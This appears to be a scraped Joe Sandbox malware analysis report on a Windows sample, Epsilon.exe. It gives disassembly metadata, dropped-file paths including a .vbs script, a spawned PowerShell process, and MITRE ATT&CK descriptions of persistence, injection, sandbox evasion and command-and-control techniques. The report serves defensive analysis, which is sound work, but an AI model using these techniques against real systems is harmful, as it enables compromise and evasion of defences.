LocalFree.KERNEL32(?,?,?,?,00000000,00007FF737823388), ref: 00007FF737824A11

Part of subcall function 00007FF737824DCC: LoadStringA.USER32 ref: 00007FF737824E60
Part of subcall function 00007FF737824DCC: MessageBoxA.USER32 ref: 00007FF737824EA0

Strings

FINISHMSG, xrefs: 00007FF737824959, 00007FF7378249AC
<None>, xrefs: 00007FF7378249D5
@, xrefs: 00007FF7378249F7

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$@$FINISHMSG
API String ID: 3507850446-4126004490
Opcode ID: b3ebb228102cb643f829919a1880d5340ae3d5d6023195a92137a1f68ae3d98d
Instruction ID: ba6676e236727c9b0aac8a2ed3a53f1382961135d2e37453ba0b74d2c07f0475
Opcode Fuzzy Hash: b3ebb228102cb643f829919a1880d5340ae3d5d6023195a92137a1f68ae3d98d
Instruction Fuzzy Hash: 7E11D472A0C24697F760AB20E4107FAFE90FB84786F949134CE0E02695DF3CD416DB20

Function 00007FF7378279F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF737827A68
LoadLibraryExA.KERNEL32 ref: 00007FF737827A88
LoadLibraryA.KERNEL32 ref: 00007FF737827A9D

Strings

advpack.dll, xrefs: 00007FF737827A4B, 00007FF737827A96
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF737827A0E

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-2381869747
Opcode ID: 9f0cd13c1bb279af47be13cee5dd35000d2da7fbef8f0ef7de7ad0cc9ac3dbe3
Instruction ID: a3d8fcd78371dc5a5b7f4f288b9d032e950f66c89b0d87fdac559bba1fa6e197
Opcode Fuzzy Hash: 9f0cd13c1bb279af47be13cee5dd35000d2da7fbef8f0ef7de7ad0cc9ac3dbe3
Instruction Fuzzy Hash: D011C331A1C68AA6EF61AF11D4103F8BBA0FB89715FC40235C65E02691CF3CD22BD720

Function 00007FF737821500 Relevance: 7.6, APIs: 5, Instructions: 50windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF737821545
GetDesktopWindow.USER32 ref: 00007FF737821557
LoadStringA.USER32 ref: 00007FF737821587
SetDlgItemTextA.USER32 ref: 00007FF7378215A0
MessageBeep.USER32 ref: 00007FF7378215AF

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: d24c32f5bf32a5b72a732329d1a2a01ce98f5d85b6cb7ead8bb70bc12569425c
Instruction ID: 0898105dd206425cf5eb811e43e085fb9f6126759ad5075801366fc68f15b4de
Opcode Fuzzy Hash: d24c32f5bf32a5b72a732329d1a2a01ce98f5d85b6cb7ead8bb70bc12569425c
Instruction Fuzzy Hash: 5E116061E0CA89A6EA606B14B5043F9EBA0FB89B56F944231CA5E463D5CF3CD0579720

Function 00007FF737823BF4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 236windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF737823C3F
MessageBeep.USER32 ref: 00007FF737823EB9

Part of subcall function 00007FF737827F04: GetVersionExA.KERNEL32 ref: 00007FF737827F59
Part of subcall function 00007FF737827F04: GetSystemMetrics.USER32 ref: 00007FF737827F93
Part of subcall function 00007FF737827F04: RegOpenKeyExA.ADVAPI32 ref: 00007FF737827FC8
Part of subcall function 00007FF737827F04: RegQueryValueExA.ADVAPI32 ref: 00007FF737828003
Part of subcall function 00007FF737827F04: RegCloseKey.ADVAPI32 ref: 00007FF737828016
Part of subcall function 00007FF737827F04: CharNextA.USER32 ref: 00007FF737828065

MessageBoxA.USER32 ref: 00007FF737823EF3

Part of subcall function 00007FF737827E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF737827E8C
Part of subcall function 00007FF737827E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF737827ECA

Strings

Adv, xrefs: 00007FF737823EE4, 00007FF737823F24

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: EnumLanguagesMessageResourceVersion$BeepCharCloseMetricsNextOpenQuerySystemValue
String ID: Adv
API String ID: 2312377310-921584719
Opcode ID: 6925faca6a2cd81837304f5f4f2fd7570e59ff5b7a5509a8ec541a78deb6dc36
Instruction ID: 06c183c903e9cf8fee4363dc4b35d58e30288d40a86bb5893930ef63da6d1476
Opcode Fuzzy Hash: 6925faca6a2cd81837304f5f4f2fd7570e59ff5b7a5509a8ec541a78deb6dc36
Instruction Fuzzy Hash: 9BA1B632A1D14AB6FB60AB1194542F9FEA4FF48756FD10035E90D83A90CE3DE867E720

Function 00007FF7378278B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF73782795B
WriteFile.KERNEL32 ref: 00007FF737827992
CloseHandle.KERNEL32 ref: 00007FF7378279B7

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7378278E2

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-1193786559
Opcode ID: 0f65b1997a9f98f28a06f8ce24cdc0a961af7feeb94d9fcacdfae0386ba340ac
Instruction ID: 42f9e4989e013dbf2a42967cc0ed48c5205eab1f0990b3901e9f4ffc5a4aedef
Opcode Fuzzy Hash: 0f65b1997a9f98f28a06f8ce24cdc0a961af7feeb94d9fcacdfae0386ba340ac
Instruction Fuzzy Hash: C231AD3260C68596EB109F21E4407FABBA0FB89B95F944238DB9D47794CF7CD41ADB20

Function 00007FF737825C60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

#20.CABINET ref: 00007FF737825CD9
#21.CABINET ref: 00007FF737825D18
#23.CABINET ref: 00007FF737825D52

Strings

*MEMCAB, xrefs: 00007FF737825CF2

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID:
String ID: *MEMCAB
API String ID: 0-3211172518
Opcode ID: 84e3e731c747766a29489c21773a7ead2eab1f416db6fdf01ae2d5964e993175
Instruction ID: 86b0ddb7e50995f5fde2c0ff1d4fc16e947cee50ae2ad58e343f8ed21ef81d96
Opcode Fuzzy Hash: 84e3e731c747766a29489c21773a7ead2eab1f416db6fdf01ae2d5964e993175
Instruction Fuzzy Hash: 1D314C31A4EB4AA5EB50AB11F4483F9BBA0BB44752FC44276D96C42390DF3CE466D720

Function 00007FF737828470 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7378284E3
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF737828502
RtlVirtualUnwind.KERNEL32 ref: 00007FF73782854F
__raise_securityfailure.LIBCMT ref: 00007FF737828634

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 2331a3b639adea238e9a50b849fe14964fd45a281eaa4897dacf7bdda2e71fe4
Instruction ID: b1d48fb51584d7c69f51c7f21857e6424c9469a930e844a97483cbc77491a9b0
Opcode Fuzzy Hash: 2331a3b639adea238e9a50b849fe14964fd45a281eaa4897dacf7bdda2e71fe4
Instruction Fuzzy Hash: DD41FC35A0CB09A1EB10AB18F8943B5BBA4FB88745FD04536D98D43764DF3DE066E760

Function 00007FF737827C40 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,00000000,00007FF737822B25), ref: 00007FF737827C64
CharPrevA.USER32(?,?,00000000,00007FF737822B25), ref: 00007FF737827C80
CharPrevA.USER32(?,?,00000000,00007FF737822B25), ref: 00007FF737827CA4
CharNextA.USER32(?,?,00000000,00007FF737822B25), ref: 00007FF737827CB8

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 707050412bb26cc287988f04cda4ab0ae1f580e9279edb24177e5c3a1430149b
Instruction ID: c0b840faf548f3bf54b7d8b6dfd17478b703fc60b7fd9a7d4b8f09eb82d53688
Opcode Fuzzy Hash: 707050412bb26cc287988f04cda4ab0ae1f580e9279edb24177e5c3a1430149b
Instruction Fuzzy Hash: 9611A762A0C685A5FB111B22A5001B9EFA1E749FF2F898234DB5E03794CF2CD4528710

Function 00007FF737828648 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF737828653
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF737828672
RtlVirtualUnwind.KERNEL32 ref: 00007FF7378286BF
__raise_securityfailure.LIBCMT ref: 00007FF737828735

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: f2b1ddacced677a847f8148696c66bf38e9a023ccacb3690f052d0a45ab1694c
Instruction ID: de420e6e9894f314f910e099406b4e730c935eb60844f3d8335584a0ea8c8e9f
Opcode Fuzzy Hash: f2b1ddacced677a847f8148696c66bf38e9a023ccacb3690f052d0a45ab1694c
Instruction Fuzzy Hash: 9A21193590CB49A1EB00AF04F8843A5BBA0FB84746FD00536DA8D53764DF3EE066E760

Function 00007FF737823B40 Relevance: 6.0, APIs: 4, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF737823A09), ref: 00007FF737823B64
PeekMessageA.USER32 ref: 00007FF737823B89
DispatchMessageA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF737823A09), ref: 00007FF737823BAC
PeekMessageA.USER32 ref: 00007FF737823BCD

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 7c1b033473dba301dd4ecd47eb6d04f722b5b1254afffa929906cb3dfbdd32c6
Instruction ID: 8d79c4cc81d9df383e8940ad33c58f716b3bd0bc0e57066fb9237d56be8273ae
Opcode Fuzzy Hash: 7c1b033473dba301dd4ecd47eb6d04f722b5b1254afffa929906cb3dfbdd32c6
Instruction Fuzzy Hash: 6F117772A1C646A7F7A0AF20E454BB6FE90FB99746FC09130DA4A42D84DF3CD05ADB10

Analysis Process: powershell.exePID: 7504, Parent PID: 7416COMMON

Executed Functions

Function 00007FF848D537B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2467907001.00007FF848D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: df177d92b8830416bef37d5717a16d9952393f763a851a515b6ab36be9f87dc5
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 2D01847010CB0C4FD748EF0CE051AB6B3E0FB85364F10056EE58AC3651D726E882CB45

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Epsilon.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

Spreading

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5yyy4x55.0bl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cqr5bg25.2ly.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jisjgixp.mfl.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mf30trsg.340.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ms0k5ziq.vru.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xddash11.i2w.ps1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
Epsilon.exe

Function 00007FF7378240C4 Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 371
libraryloaderCOMMON

Function 00007FF737821D28 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 183
registrylibrarymemoryCOMMON

Function 00007FF737821684 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 350
memoryCOMMON

Function 00007FF7378266C4 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Function 00007FF737822DB4 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 179
synchronizationCOMMON

Function 00007FF737826CA4 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 215
windowCOMMON

Function 00007FF737825D90 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 124
windowCOMMON

Function 00007FF7378230EC Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 151
libraryfileloaderCOMMON

Function 00007FF7378264E4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 123
COMMON

Function 00007FF737822C54 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84
libraryloadershutdownCOMMON

Function 00007FF737823910 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 119
threadwindowCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
